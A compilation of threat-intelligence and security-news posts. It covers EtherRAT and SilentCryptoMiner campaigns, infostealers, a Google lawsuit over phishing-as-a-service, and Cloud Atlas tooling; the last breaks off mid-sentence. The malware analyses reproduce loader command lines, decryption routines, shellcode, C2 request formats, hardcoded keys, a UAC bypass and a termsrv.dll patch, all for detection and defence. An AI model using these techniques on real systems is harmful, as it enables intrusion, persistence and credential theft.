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Google Is Suing Chinese Scammers Who Are Using Gemini

Not sure this will have any effect, but I support the effort:

According to Google’s legal filing, Outsider Enterprise operates through Telegram. The group offers phishing-as-a-service to individuals who may not be technically savvy enough to set up fraudulent websites and text campaigns on their own. In its Telegram channels, Outsider Enterprise reportedly provided instructions on how to use Google’s Gemini AI to create websites that imitate those of Google, YouTube, and government agencies such as New York’s E-ZPass. The group offered nearly 300 scam templates.

[…]

Google worked with AT&T, Verizon, and T-Mobile to block many of these malicious text messages, and Google notes that its on-device scam detection in Google Messages probably helped reduce the number of successful phishing attempts, too. This AI-powered feature apparently stops 10 billion scam texts every month, so it’s fair to expect it caught at least some Outsider Enterprise activity.

Another article.

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Inside a malicious infrastructure delivering EtherRAT, phishing pages, and malicious software 

During our recent threat hunting activities, we found EtherRAT malware being distributed by a website with a strange homepage. This homepage allowed us to discover a vast malicious infrastructure distributing malware, malicious documents, remote desktop software, and phishing pages. 

EtherRAT is a RAT developed in Node.js which allows an attacker to gain complete control over the machine and execute arbitrary code returned by the Command and Control (C2) server. The malware uses the Etherium blockchain to obtain the C2 server, hence the “Ether” part of the name. EtherRAT is typically distributed via MSI, PowerShell, or JavaScript scripts. 

An open directory that distributes EtherRAT: where it all began 

While threat hunting, we found an open directory that was distributing MSI installers and PowerShell scripts, which ultimately distributed EtherRAT. In the analyzed cases, the PowerShell scripts and MSI installers were distributed from a “/install” folder.  The versions have a progressive number, ranging from v1 to v10. 

Figure 1: Open Directory hosting EtherRAT MSI 
Open Directory hosting EtherRAT MSI 

The returned home page caught our attention and prompted us to further explore the campaign. 

The homepage returned by the EtherRAT distribution website 

Analyzing domains and associated IPs with the EtherRAT distribution, we detected other similar home pages with a hacking-style theme. They appeared to belong to a larger distribution chain, which also distributes phishing, remote control software, and other malware. These websites usually have several folders with malware and phishing related content, and what is displayed depends on the specific infection chain. 

Different websites that resolve to the same IP addresses have previously returned pages related to fake companies or default templates. The use of these new pages could therefore be a method to make detection more difficult for automated scanners or researchers.  Here are some of the home pages we found:

Some of the malicious websites indexed on Google 

EtherRAT is an interesting RAT, as it has few lines of code and allows the execution of arbitrary code returned by the C2 server. Furthermore, using the Ethereum blockchain to obtain the C2 server makes it more resilient to infrastructure takedowns. 

Technical analysis of EtherRAT 

The detected websites usually distribute an MSI or PowerShell script with the version name, such as v1.msi, v2.ps1, and so on. 

MSI Loader 

The MSI file “v9.msi” contains three components: 

MSI Filename Description 
KmPuGimn.cmd BAT launcher 
cDQMlQAru0.xml First Jscript loader 
MRaQCipBIZeiZNx.log Encrypted EtherRAT 

When the MSI is executed, the “KmPuGimn.cmd” file is started: 

conhost --headless cmd /c "KmPuGimn.cmd" 

This obfuscated BAT file performs different operations: 

  • Extracts the other files in a random folder in %LOCALAPPDATA%. 
  • Re-executes itself via: 
    • %SystemRoot%\System32\conhost.exe –headless %SystemRoot%\System32\cmd.exe /c call “C:\Users\{user}\AppData\Local\{random_path}\KmPuGimn.cmd” nKWa 
  • Runs the command “where node” to find an existing installation. 
  • Downloads Node.js if it’s not found 
    • Uses “curl -sLo” to download Node.js from the official website. 
    • Extracts to installation directory via “tar -xf”. 
    • Renames extracted directory to “28Q75h”.
  • Loops until both “MRaQCipBIZeiZNx.log” and “cDQMlQAru0.xml” exist, then executes: 
    • conhost.exe –headless C:\Users\{user}\AppData\Local\{random_path}\{random_path}\node.exe cDQMlQAru0.xml 

The executed “cDQMlQAru0.xml” is a loader that decrypts the embedded code with a XOR function and then executes it with “vm.compileFunction”. 

decrypted[i] = (encrypted[i] - key[i % key.length] - i) & 0xFF 
The embedded decrypted code 

The decrypted code: 

  • Copies node.exe in “C:\Users\{user}\AppData\Local\{random_path}\{random_path}\_MJlLlt5.exe”. 
  • Adds a registry key for persistence with “conhost.exe –headless”. 
  • Decrypts “MRaQCipBIZeiZNx.log” and executes it with “_MJlLlt5.exe” stdin. 

The decryption algorithm is a custom stream-like decoding routing based on XOR, byte rotations and an accumulator: 

for e in range(len(data)): 
    byte = data[e] 
    g = prev 
    prev = byte 
    byte = (byte - g) & 0xff 
    byte = byte ^ n[e % len(n)] ^ ((e >> 8) & 0xff) 
    byte = si[byte] 
    byte = (byte - k[e % len(k)]) & 0xff
    result[e] = byte 

The final stage is to deploy EtherRAT. EtherRAT allows the attacker to: 

  • Execute arbitrary JavaScript code received by the C2 server. This allows the attacker to execute new commands, perform operations on files and folders, modify the registry, and exfiltrate data. 
  • Get a new C2 server using the Ethereum blockchain. 
  • Reobfuscate itself. 
  • Save the logs to “svchost.log”. 
Part of decrypted EtherRAT code 

The EtherRAT uses Ethereum’s “eth_call” JSON-RPC method to retrieve the active C2 URL from a smart contract on the Ethereum mainnet.  

The blockchain parameters in this case are: 

  • Contract: 0x88ea8d0bc4146f0a018e989df3fd089ac48f9a58 
  • Function selector: 0x7d434425 
  • Argument: 0xf6a772e163e64b07f658946f863b5d457d88f9f0 
The decoded C2 from Ethereum blockchain 

The contacted URLs to obtain the C2 server endpoint are: 

  • mainnet[.]gateway[.]tenderly[.]co 
  • rpc[.]flashbots[.]net/fast 
  • rpc[.]mevblocker[.]io 
  • eth-mainnet[.]public[.]blastapi[.]io 
  • ethereum-rpc[.]publicnode[.]com 
  • eth[.]drpc[.]org 
  • eth[.]merkle[.]io 

Polling requests use randomized URL patterns based on some parameters defined in the code: 

GET /api/<4-byte-hex>/<victim-uuid>/<4-byte-hex>.<ext>?<param>=<build-id> 
X-Bot-Server: <c2_url> 

In the analyzed sample, the parameters are: 

  • Build ID: “6f816d80-0d6c-4384-9cd6-6b79965fc08f” 
  • ext: randomly selected from “png”, “jpg”, “gif”, “css”, “ico”, “webp”. 
  • param: randomly selected from “id”, “token”, “key”, “b”, “q”, “s”, “v”. 

After startup, the RAT sends its own source code to the C2 server. The C2 responds with a newly obfuscated version of the script, which is written back to disk, making each execution generate a new file hash. 

POST /api/[REOBF_PATH]/<victim-uuid> 
Body: { "code": "<current_script_contents>", "build": "<build_id>" } 

After the EtherRAT execution, we observed different post-compromised cmd.exe activities to check the environment. For example: 

  • powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command “(Get-WmiObject Win32_VideoController).Name”
  • reg query “HKLM\SOFTWARE\Microsoft\Cryptography” /v MachineGuid 
  • powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command “(Get-WmiObject Win32_ComputerSystem).Domain” 
  • powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command “(Get-WmiObject Win32_ComputerSystem).PartOfDomain” 
  • cmd.exe /d /s /c “net session” 
EtherRAT logs 

PowerShell Loader 

The activities performed by the PowerShell loaders are very similar to the last stage of the JS script of the MSI installer: 

  • Downloads Node.js if it’s not present. 
  • Create the necessary directories. 
  • Decode the EtherRAT with a custom decryption algorithm. 
  • Execute Node.js with conhost.exe and the decrypted EtherRAT payload. 

We detected some variants of the PowerShell loader hosted on these websites; namely that the functions’ names and the decryption functions change in the analyzed PowerShell scripts. 

The decryption of EtherRAT payload with the custom decryption algorithm 

Tracking the malicious infrastructure 

When we analyzed the different websites with the “hacking-theme” pages, we found that in the past many had hosted multiple phishing pages in some specific paths. For example: 

  • /zht/sharep-redirect.html 
  • /bl/me.php 
  • /t/teams 
  • /teams/Windows/invite.php 

It seems that these domains and IPs are actually part of a much larger infrastructure that distributes malware, phishing, malicious documents, and remote software. It is possible that these infrastructures are shared by multiple threat actors who activate different URL endpoints based on the specific campaign. 

Interestingly, the majority of the domains related to this malicious infrastructure in the past also returned an HTML page related to a “Bulletproof Infrastructure” service.  

We found that these phishing campaigns typically start via emails with documents attached, such as PDF or Excel files. These documents ask the user to click a link to view another document. Below are two examples of the phishing documents attached to the emails:

These phishing pages typically ask the user to enter their email address, then continue the infection chain and distribute phishing or malware pages.  Below are some of the phishing pages detected within the malicious infrastructure:

Misconfigurations exposed the phishing kits 

While tracking malicious websites, we found one with an open directory containing part of the phishing kit used in the campaigns. 

Open directory hosting part of phishing kits

 

The open directory contained several folders with code and pages related to the phishing campaigns. 

Phishing kit code 

Additionally, some domains were misconfigured and allowed the download of “cl.zip”, which contained the source code for the “URL Cloaker” pages. 

Part of “URL Cloaker” code 

Indicators of Compromise (IOCs)  

IPs 

82[.]165[.]65[.]244: malicious infrastructure  

185[.]221[.]216[.]121: malicious infrastructure  

43[.]163[.]233[.]166: malicious infrastructure  

40[.]160[.]238[.]30: malicious infrastructure  

159[.]89[.]227[.]204: malicious infrastructure  

57[.]128[.]31[.]168: malicious infrastructure  

Domains 

ivorilla[.]cloud: EtherRAT distribution  

mx[.]nrlwz[.]com: EtherRAT distribution  

dn[.]eyqwj[.]com: EtherRAT distribution  

bi[.]mkrjcsw[.]com: EtherRAT distribution  

dorqen[.]casa: EtherRAT distribution  

kelvra[.]club: EtherRAT distribution  

cambioefectivo[.]com: EtherRAT C2  

vabelles[.]com: EtherRAT C2  

tranzed[.]org: EtherRAT C2  

kibrisarazi[.]com: EtherRAT C2  

aravisblog[.]com: EtherRAT C2  

publicspeakingtip[.]org: EtherRAT C2  

Acknowledgements 


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Infostealers are becoming the go-to phishing payload

Phishing has changed. Slowly but surely, cybercriminals are turning to infostealers instead.

Traditional phishing hasn’t gone away. Far from it. But many attackers are no longer focused solely on tricking victims into entering usernames and passwords on fake login pages. Instead, they are using infostealers to quietly collect passwords, cookies, browser data, and other sensitive information from infected devices.

This approach is attractive because it scales well and reduces friction. Instead of relying on a victim to type credentials into a fake site, the malware can harvest logins already saved in browsers, session tokens, autofill data, cryptocurrency wallet details, and even files that contain useful information.

This makes the attack chain less visible. A traditional phishing email often leaves obvious clues: a suspicious link, a fake login page, or a strange attachment. Infostealers are different. They can arrive through malicious online ads (malvertising), cracked software, fake browser updates, game cheats, or dubious download sites, and once installed, they work in the background, stealing whatever the victim’s device has in store.

Part of this shift could be due to the widespread adoption of multi-factor authentication (MFA). By stealing session cookies, cybercriminals can bypass MFA, so they can access accounts without needing a password or authentication code.

Another factor is the rise of the malware-as-a-service (MaaS) ecosystem. Infostealers are cheap to deploy, easy to scale, and highly profitable. Rather than building a full attack chain themselves, many criminals buy access to ready-made stealer kits, loaders, or initial access services from underground vendors. This lowers the barrier to entry and allows less-skilled attackers to run credential theft operations.

In many cases, infostealers are just the first stage of a larger criminal operation. The stolen data is collected, packaged, and sold to other criminals interested in the harvested information. These buyers may specialize in fraud, account takeover, business email compromise, or ransomware. A single infected machine can generate multiple revenue streams: credentials for one buyer, session cookies for another, and corporate access or wallet data for a third.

That division of labor is one reason infostealers have become so persistent. Operators can update their code, rotate infrastructure, and launch new campaigns with minimal effort, while affiliates handle distribution through phishing, malvertising, fake downloads, or social media lures.

How to stay safe

Because infostealers commonly arrive through malvertising, fake browser updates, and one-click downloads, it’s worth treating ads and pop-ups with healthy skepticism. My personal tip: Never click on sponsored ads. Instead, visit official websites directly and download software only from trusted sources such as official vendor sites or app stores.

Another increasingly popular technique is ClickFix, a social engineering attack that tricks users into infecting their own devices. Never run commands or scripts copied from websites, emails, or messages unless you trust the source and understand the action’s purpose. If a website tells you to execute a command or perform a technical action, check official documentation or contact support before proceeding.


Picked up something you shouldn’t have?


Pirated software, game cheats, and cracked tools remain some of the most common delivery methods for infostealers. These downloads often come bundled with malware that installs alongside the software you intended to get. The same caution applies to many browser extensions and add-ons that promise extra features or convenience. Stick to extensions from reputable developers, check reviews and permissions carefully, and avoid installing any add-on that asks for more access than it plausibly needs.

Phishing emails are still a major threat, but many can be spotted if you slow down and verify before clicking. Even if an email looks like it comes from a trusted brand, treat unsolicited attachments and links with caution, especially when they urge you to open a file, install something urgently, or fix a billing issue. If you’re unsure, check the sender address, look for typos or odd phrasing, and confirm the request through a separate channel such as the company’s official website rather than the link in the email.


We don’t just report on threats—we remove them

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

  •  

Pirates in the crosshairs: how one cybercrime gang has been infecting book, movie, and TV show fans for years

Introduction

In late April 2026, a client reached out to us for incident response support after discovering a miner running on users’ computers. We later discovered that the malware was being distributed via illegal movie and TV show streaming sites. The infection chain leveraged a fake update for a video player plugin. When the user attempted to watch a video, the player displayed a message saying the plugin version was outdated and asking to install an update to continue.

Clicking the link downloaded a ZIP archive with the following contents:

The archive contained a legitimate executable, HLS Installer.874.exe, alongside a malicious DLL. Launching the EXE triggered a DLL side-loading mechanism, injecting the malicious module into a legitimate program process and executing code within its context. The library contained the logic for deploying the miner and establishing persistence on the device.

At the time of the investigation, the infection risk was associated with two pirated video sites in the .ru and .top TLDs.

Link to previous campaigns

The current incident does not appear to be an isolated case. After analyzing the infection vector and the logic of the DLL, we concluded that this activity is a continuation of a campaign involving pirated digital libraries, which was previously described by another cybersecurity company.

The delivery mechanism for the malicious archive has remained virtually unchanged. Previously, the archive was downloaded in parts from the domain file[.]ipfs[.]us[.]69[.]mu, but this domain was unavailable at the time of our investigation. Instead, the threat actor employed a new website, urush1bar4[.]online.

The structure of the archive has also been preserved: inside is a legitimate executable and a large malicious DLL (see the screenshot below).

In the course of our research, we also discovered a blog post by NTT Security describing a similar delivery method for a malicious archive. In that instance, the threat actors displayed a fake browser crash page (shown below) while simultaneously downloading an archive to the device with a name starting with chromium-patch-nightly.

This scenario resembles the current scheme involving the fake video player plugin update. Given the previously described activity, it’s safe to assume that this campaign has been active since at least 2022. Throughout this entire period, the threat actor has been updating both the downloadable malware and individual parts of the infection mechanism.

Potential distribution scale

As in previous episodes of the campaign, infections occur via highly popular websites. As of late April 2026, sites linked to the campaign typically displayed extremely high monthly traffic. For instance, the audience for the smallest of the free digital libraries stood at 11,000 users, while the largest reached 4.7 million. For pirated movie and TV show streaming sites, this figure ranged from 2.1 million to 27.4 million. In April, the total number of visits to websites where the malware described in this study was detected reached 40 million.

The popularity of these sites increases the potential scale of the miner’s distribution. Furthermore, the campaign is not limited to a single type of platform: the malicious archive is being distributed through both online digital libraries and movie and TV show streaming sites. This broadens the potential range of victims and makes it more difficult to attribute the threat to a single infection vector.

The downloadable archive

The current version of the downloadable malware is a ZIP archive containing a legitimate EXE file and a malicious DLL. When the executable runs, the library side-loads into its process, triggering the malicious logic.

The technical analysis that follows covers the current version of this malware. This version was first observed in April 2025 and has been distributed unmodified for over a year.

DLL analysis

Most of the data inside the DLL carries no meaningful weight and was randomly generated just to inflate the file size and impede analysis.

Amidst the large volume of junk code inside the DLL, there is a single function that triggers a stack overflow during execution:

Based on the code, the size of the stackBuf buffer on the stack is only 64 bytes, and the SmashStack function overwrites this buffer without validating the length of the input data.

This overflow constructs a ROP chain that decrypts the next stage. After decryption, it transfers execution to code located within the modified DOS header of the PE file:

The header was intentionally modified to make it into valid shellcode:

pop     r10
push    r10
call    $+5
pop     rcx 
sub     rcx, 9
mov     rax, rcx
add     rax, 5C1000h
call    rax
retn

This shellcode passes control to a function located at offset 0x5C1000 from the base of the PE file. This function then reflectively loads the same PE file into memory.

Going forward, we will refer to this decrypted PE file as the main module.

Main module

The module’s behavior across its different operational stages is detailed below:

The main module is a modified fork of the SilentCryptoMiner project. We have previously analyzed miners leveraging this project in other posts: Scam Information and Event Management and Undercover miner: how YouTubers get pressed into distributing SilentCryptoMiner as a restriction bypass tool. However, this specific fork has not been documented anywhere before, which is why we decided to break down its unique features in detail in this article.

Upon an initial run, the main module checks whether it has permission to proceed with execution. To do this, it collects the following data from the victim’s device:

  • Processor information
  • The serial number of the C:/ drive
  • Whether the process was launched with elevated privileges
  • The process start time in Unix timestamp format

The information is transmitted as a single large DNS query using the DNS tunneling technique. An example of the DNS query is shown below:

The attackers disguise the DNS query as legitimate traffic through low-level packet crafting and by using a domain name ending in microsoft.com. However, the IP address to which the query is actually sent has no relation to Microsoft.

DNS query crafting code

DNS query crafting code

The execution of the main module proceeds only if the following byte sequence is detected in the response: 01 02 03 04. Following a successful check, the main module launches, and the subsequent logic is adjusted depending on whether the process has elevated privileges on the compromised host.
Let’s look at both scenarios:

1. The process is launched with elevated privileges.

In this case, preparatory steps precede the miner launch:

  • The malware adds Windows Defender exclusions for EXE and DLL files, as well as for the %USERPROFILE%, %PROGRAMDATA%, and %WINDIR% folders.
  • It kills Microsoft’s Malicious Software Removal Tool (MSRT) by calling ZwSetInformationFile with the FileDispositionInformation type, which causes the mrt.exe file to be deleted upon closing. To prevent MSRT from being automatically installed during the next update, the DontOfferThroughWUAU parameter is created with a value of 1 under the HKLM\Software\Policies\Microsoft\MRT registry key.
  • Automatic hibernation and sleep mode are disabled for when the device is running on both AC power and battery.

powercfg /x -hibernate-timeout-ac 0
powercfg /x -hibernate-timeout-dc 0
powercfg /x -standby-timeout-ac 0
powercfg /x -standby-timeout-dc 0

This is done to maximize the miner’s potential runtime on the device.

Next, to achieve persistence, a copy is created in the C:\ProgramData\Google\Chrome directory, after which the GoogleUpdateTaskMachineQC service is registered and configured to launch automatically at system startup.

Finally, four reflexive loads are executed: the components are injected directly into the memory of the target processes without writing to disk, having bypassed standard Windows loading mechanisms. Each implant is injected into its own host process:

  • RAT agent → into conhost.exe
  • Watchdog → into explorer.exe
  • CPU miner → into explorer.exe
  • GPU miner → into explorer.exe, but only if a discrete GPU is present in the system. This is verified by enumerating all display adapters in the system.

2. The process is launched with standard privileges.

In this scenario, the miner begins repeatedly triggering User Account Control (UAC) prompts until it is successfully executed with elevated privileges. The workflow is as follows:

  1. Upon initial execution, a copy is made to the %USERPROFILE%\AppData\Roaming\Sandboxie directory and relaunched from there. Simultaneously, an attempt is made to launch it with elevated privileges via UAC.
  2. If execution occurs from the Sandboxie folder:
  • Persistence is configured for the miner copy in this folder by adding an entry to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run.
  • Every three minutes, an attempt is made to launch with elevated privileges via UAC until the GoogleUpdateTaskMachineQC service is successfully installed.

A successful installation requires all of the following conditions to be met:

  1. The GoogleUpdateTaskMachineQC service exists in the system.
  2. The Start value for this service is set to 2 (Automatic).
  3. The ImagePath value points to a file in the C:\ProgramData\Google\Chrome folder.
  4. This file exists on disk.

Watchdog

The purpose of this component is to ensure the uninterrupted operation of the miner. At the very beginning of its execution, it copies all files from the C:\ProgramData\Google\Chrome folder and encrypts the contents of each file using a cyclic XOR algorithm with the key AFeIboiOmImJS2ypJU0pTpAO61SELkUc. After that, the encrypted contents are written into the process memory, and the following structure is created in memory for each file:

class FileContainer{
	wchar_t* fullPath; // full path to file
	size_t* ptrSize;   // pointer to file size
	uint8_t* xorEncryptedFile; //pointer to buffer containing encrypted file contents
};

As soon as the contents of all files are saved in memory, Watchdog enters an infinite loop, where every five seconds, it checks the integrity of the installed GoogleUpdateTaskMachineQC service, just as the main module does. If the service is found to be incorrectly installed, the miner overwrites its files in the C:\ProgramData\Google\Chrome path with the contents acquired at startup.

To successfully remediate the miner, this module, which runs inside the explorer.exe process, must be terminated first.

RAT agent

This module provides remote control capabilities via four commands, which are described at the end of this section. The command-and-control addresses used to receive these commands follow this format:

  • http://{domain}.space/index.php?authorization=1
  • http://{domain}.site/index.php? backup version

The {domain} is calculated based on the current date. The process starts with the current year, then adds the zone identifier for the current month. All 12 months are divided into four zones. Finally, the word microsoft is appended to the resulting string. This final string is used as the input for subsequent double hashing using the MurmurHash64 algorithm. The hash output is the domain for the implant to communicate with.

At the time of writing this, the following domains were registered:

  • 2025, April-July → 5d14vnfb[.]space
  • 2025, August-November → r7mvjl67[.]space
  • 2025, December → zgj1tam9[.]space
  • 2026, January-March → jeaw520i[.]space
  • 2026, April–July → qdmagva5[.]space

An example of a request to the C2 server is provided below:

As can be seen, the request contains an encrypted body consisting of data encrypted via AES-CBC with the key 0123456789abcdef0123456789abcdef and the initialization vector 000102030405060708090a0b0c0d0e0f. The data contains a list of installed programs on the system, along with processor information and the serial number of the C: drive.

This information is likely used by the backend to check for virtual or debugging environments.

The first 16 bytes of the server response body represent the initialization vector for the AES-CBC algorithm with the key 0123456789abcdef0123456789abcdef, while the remaining bytes are the data encrypted with this algorithm. The decrypted data contains a malicious payload, as well as its RSA-SHA256 signature (sign):

struct PLAINTEXT{ 
uint32_t len_payload; 
uint8_t payload[len_payload]; 
uint32_t len_sign; 
uint8_t sign[len_signature]; 
}

The authenticity of the message is verified via the sign signature using the server’s public key, which is embedded in the executable.

Inside the malicious payload is a 4-byte code that determines the subsequent behavior of the program, along with additional data whose meaning depends on the code.

The table below lists the four remote control commands for the RAT agent module.

Code Purpose
1 Execution of an arbitrary command
2 Reflexive execution of the provided PE file within the explorer.exe process
3 Execution of the provided shellcode
4 Exit

The miners

Depending on whether a discrete GPU is present in the system, either the CPU miner alone or a combination of the CPU and GPU miners is launched. The CPU miner is based on XMRig, while the GPU miner supports multiple algorithms.

Upon initial execution, both miners attempt to retrieve their startup configuration from a remote server. The potential addresses are listed below:

  • “{domain}.strangled.net”
  • “{domain}.ignorelist.com”
  • “{domain}.ftp.sh”
  • “{domain}.zanity.net”

As with the RAT agent component, the server address is generated from the current date — in this case, the server address changes every week. This results in quite a large number of domains for the 2020–2030 period; however, all of them point to the same IP address: 107[.]172[.]212[.]235. The first available domain out of the four potential domains listed above will be used.

The algorithm for retrieving the configuration from the server is completely identical to that used by the RAT agent, with the sole exception that th1s1sth3key0f4n1ntere5t1ngw0rld is used as the AES-CBC key in this scenario, and the configuration resides within the payload. The retrieved configuration is encrypted via AES-CBC using the key UXUUXUUXUUCommandULineUUXUUXUUXU and the initialization vector UUCommandULineUU. The encrypted data is then converted into a base64 string, which is passed as a command-line parameter to launch the miner inside the explorer.exe process through process hollowing.

Conclusion

Our investigation focused on an ongoing campaign distributing miners via popular illegal content sites. The threat actors leverage a variety of sites, ranging from online libraries to movie and TV show streaming platforms. There is no telling what channels they will use to distribute the malicious archive in the future. However, the current case shows that users visiting pirated websites continue to take a serious risk.

Our products detect this malware with the following Generic verdicts:

  • HEUR:Trojan.Win64.DllHijack.gen
  • MEM:Trojan.Win32.SEPEH.gen

Indicators of Compromise

Malicious archive download URL
urush1bar4[.]online

Malicious DLL libraries:
6A0FE6065D76715FEEBC1526D456DB73
7F624407AE489324E96A708A09C17E6F
02A43B3423367B9DDDC24CC7DFC070DF

RAT C&C:
5d14vnfb[.]space
r7mvjl67[.]space
zgj1tam9[.]space
jeaw520i[.]space
qdmagva5[.]space

Configuration retrieval address
107[.]172[.]212[.]235

UnamWebPanel control panel addresses
m4yuri[.]online
kristina[.]quest

  •  

Cloud Atlas activity in the second half of 2025 and early 2026: new tools and a new payload

In 2025, we observed pervasive SSH tunnel activity, which has remained active into 2026, affecting many government organizations and commercial companies in Russia and Belarus. Behind some of this activity is Cloud Atlas, a group we have known since 2014. During our investigation, we identified new tools used by this group, as well as indicators of compromise.

The group is back to sending out archives containing malicious shortcuts that launch PowerShell scripts. This technique is employed in addition to the previously described use of malicious documents, which exploit an old vulnerability in the Microsoft Office Equation Editor process (CVE-2018-0802) to download and execute malicious code. We have observed the use of third-party public utilities (Tor/SSH/RevSocks) to gain a foothold in infected systems and create additional backup control channels.

Technical details

Initial infection

As for the primary compromise, Cloud Atlas remains consistent in using phishing. In the observed campaigns, the attackers emailed a ZIP archive containing an LNK file as an attachment.

Malware execution flow

Malware execution flow

Attackers use LNK shortcuts to covertly execute PowerShell scripts hosted on external resources. The command line of the shortcut:

Example of the PowerShell script downloaded and executed by the shortcut:

Example of the PowerShell script downloaded by the shortcut

Example of the PowerShell script downloaded by the shortcut

Actions performed by the downloaded PowerShell:

Step Action Description
1  Drops “$temp\fixed.ps1” Pre-staging: places the main payload locally in advance to ensure an execution capability independent of subsequent network connectivity or C2 availability.
2 Creates “Run” registry key “YandexBrowser_setup” for “$temp\fixed.ps1” startup

Early persistence: guarantees execution upon the next logon or reboot. If the script is interrupted during later stages, the payload will still activate automatically.
3 Downloads and drops “$temp\rar.zip”
Extracts “*.pdf” from the downloaded  “$temp\rar.zip”
Payload delivery: retrieves the decoy archive from the remote server to prepare user-facing content for the distraction phase.
4 Extracts “*.pdf” from the downloaded  “$temp\rar.zip” Decoy preparation: unpacks the legitimate-looking document so it can be executed silently without requiring user interaction.
6 Opens extracted decoy document “*.pdf” with user’s default software User distraction: opens a convincing document to maintain user engagement and creates a legitimate workflow appearance to buy additional 30–120 seconds for background operations.
6 Executes  “taskkill.exe /F /Im winrar.exe” Process concealment: terminates the archive extractor to prevent the user from seeing the archive contents or noticing unexpected file extraction activity.
7 Searches and deletes “rar.zip”, “*.pdf.zip” and “*.pdf.lnk” Anti-forensic cleanup: removes the initial infection artifacts before activating the main payload, reducing the number of disk traces available for incident response or EDR correlation.
8 Executes  “$temp\fixed.ps1” Controlled execution: launches the main payload only after persistence is secured, the user is distracted, and access traces are cleaned up.

Fixed.ps1 (loader)

The primary purpose of the Fixed.ps1 script is to deliver and install subsequent malware onto the compromised system, specifically VBCloud and PowerShower. Fixed.ps1 establishes persistence (by adding itself to registry Run keys), creates a decoy for the user (by opening a PDF document), and executes the next stages of the attack.

Fixed.ps1::Payload (VBCloud dropper)

Example of the fixed.ps1::Payload (VBCloud dropper)

Example of the fixed.ps1::Payload (VBCloud dropper)

This module functions as a dropper for the VBCloud backdoor. It drops two files onto the infected machine:

  • video.vbs: the loader of the backdoor,VBCloud::Launcher. This is a VBScript that decrypts the contents of video.mds (typically using RC4 with a hardcoded key) and executes it in memory.
  • video.mds: the encrypted body of the backdoor, VBCloud::Backdoor. This is the main module that connects to a C2 server to receive additional scripts or execute built-in commands. This backdoor is designed to function as a stealer, specifically targeting files with extensions of interest (such as DOC, PDF, XLS) and exfiltrating them.

Fixed.ps1::Payload (PowerShower)

This module installs a second backdoor called PowerShower on the system. We don’t have the specific script that performs this installation, but we assume it’s performed by a script similar to fixed.ps1::Payload (VBCloud dropper).

Unlike VBCloud, which focuses on file theft, PowerShower is primarily used for network reconnaissance and lateral movement within the victim’s infrastructure. PowerShower can perform the following tasks:

  • Collect information about running processes, administrator groups, and domain controllers.
  • Download and execute PowerShell scripts from the C2 server.
  • Conduct “Kerberoasting” attacks (stealing password hashes of Active Directory accounts).

PowerShower is dropped onto the system via the path ‘C:\Users\[username]\Pictures\googleearth.ps1’.

Contents of the googleearth.ps1(PowerShower)

Contents of the googleearth.ps1(PowerShower)

PowerShower::Payload (credential grabber)

PowerShower downloads an additional script for stealing credentials. It performs the following actions:

  • Creates a Volume Shadow Copy of the C:\ drive.
  • Copies the SAM (stores local user password hashes) and SECURITY system files from this shadow copy to C:\Users\Public\Documents\, disguising them as PDF files.
  • The script is launched in several stages. To execute with high privileges, the script uses a UAC bypass technique via fodhelper.exe (a built-in Windows utility). This allows PowerShell to run as an administrator without directly prompting the user, which could otherwise raise suspicion.

The full launch chain looks like this:

The full Base64-decoded script is given below.

Multi-user RDP by patching termsrv.dll

Moving laterally across the victim’s network, the attackers executed a suspicious PowerShell script named rdp_new.ps1 (MD5 1A11B26DD0261EF27A112CE8B361C247):

The script is designed to allow multiple RDP sessions in Windows 10 by patching the termsrv.dll file. Termsrv.dll is the core Windows library that enforces Remote Desktop Services rules.

By default, Windows limits the number of simultaneous RDP sessions. Removing this restriction allows attackers to operate on the machine in the background without disconnecting the legitimate user, thereby reducing the likelihood of detection.

At first, the script enables RDP on the firewall and downgrades the RDP security settings:

Before modifying termsrv.dll, the script takes ownership and assigns itself full permissions. Then the script finds the sequence of bytes 39 81 3C 06 00 00 ?? ?? ?? ?? ?? ?? and replaces it with B8 00 01 00 00 89 81 38 06 00 00 90. After these manipulations, the script restarts the RDP service.

Example of script

Example of script

The patched version allows multiple concurrent logins so attackers can stay connected without disrupting the legitimate user, thereby reducing suspicion.

Reverse SSH tunneling

As mentioned above, during this wave of attacks, the adversaries widely deployed reverse SSH tunnels to many hosts of interest. The compromised machine initiates an SSH connection to an attacker-controlled server, which allows attackers to bypass standard firewall rules via establishing outbound connections.

That way, even if the primary backdoor is discovered, the attackers can maintain control through the SSH tunnel.

To install a reverse SSH tunnel on a victim’s host, the attackers run VBS scripts via PAExec or PsExec.

We’ve seen three types of scripts:

  • Gen.vbs (WriteToSchedulerGenerateKey.vbs) generates key for SSH tunnel.
  • Run.vbs (WriteToSchedulerRunSSH.vbs) runs reverse SSH tunnel.
  • Kill.vbs (WriteToSchedulerKillSSH.vbs) stops reverse SSH tunnel via taskkill.exe.

To achieve persistence, the attackers added a new scheduled task in Windows:

In some cases, before establishing a reverse SSH tunnel, attackers set new access permissions to the folder containing the private key to prevent the legitimate user or system administrators from easily accessing or modifying it:

Patched OpenSSH

Some OpenSSH binaries used by the attackers had their imports modified. Instead of libcrypto.dll, the SSH executable imports syruntime.dll, which was placed in the same folder as the binary. This was likely done to evade detection and ensure stealth.

In addition, we found a portable version of OpenSSH, presumably compiled by the adversaries:

RevSocks

In addition to Reverse SSH tunnels, the attackers installed RevSocks using the same infrastructure. RevSocks is an alternative tool to SSH for establishing tunnels and proxy connections, written in Golang. This tool allows direct connection to workstations on the local network. It also allows attackers to gain access to other segments of the victim’s network by using the machine as a gateway. In some cases, C2 addresses were hardcoded into the binary; in other cases, the C2 was passed in command line arguments.

There were also reverse SOCKS samples with hardcoded C2 addresses:

Tor tunneling

To maintain control over the compromised host, the Tor network was used in some cases. A minimal set of a Tor executable and configuration files, necessary for launching HiddenService, was copied to the system directories of infected devices. The name of the Tor Browser executable file was modified. As a result, the infected machine was accessible via RDP from the Tor network when accessing the generated .onion domain.
Below is an example of a configuration file for routing connections from Tor to RDP ports on the local network, as well as example command lines for logging into Tor.

Example of TOR configuration file

Example of TOR configuration file

PowerCloud

We analyzed a new Cloud Atlas tool, PowerCloud. It collects user data with administrator privileges and writes this information to Google Sheets in Base64 format.

The tool represents an obfuscated PowerShell script. In most cases, it is packaged into an executable file using the PS2EXE utility, but we have also encountered variants in the form of a separate PowerShell script.

To find administrators on the victim host, the tool executes the following command:

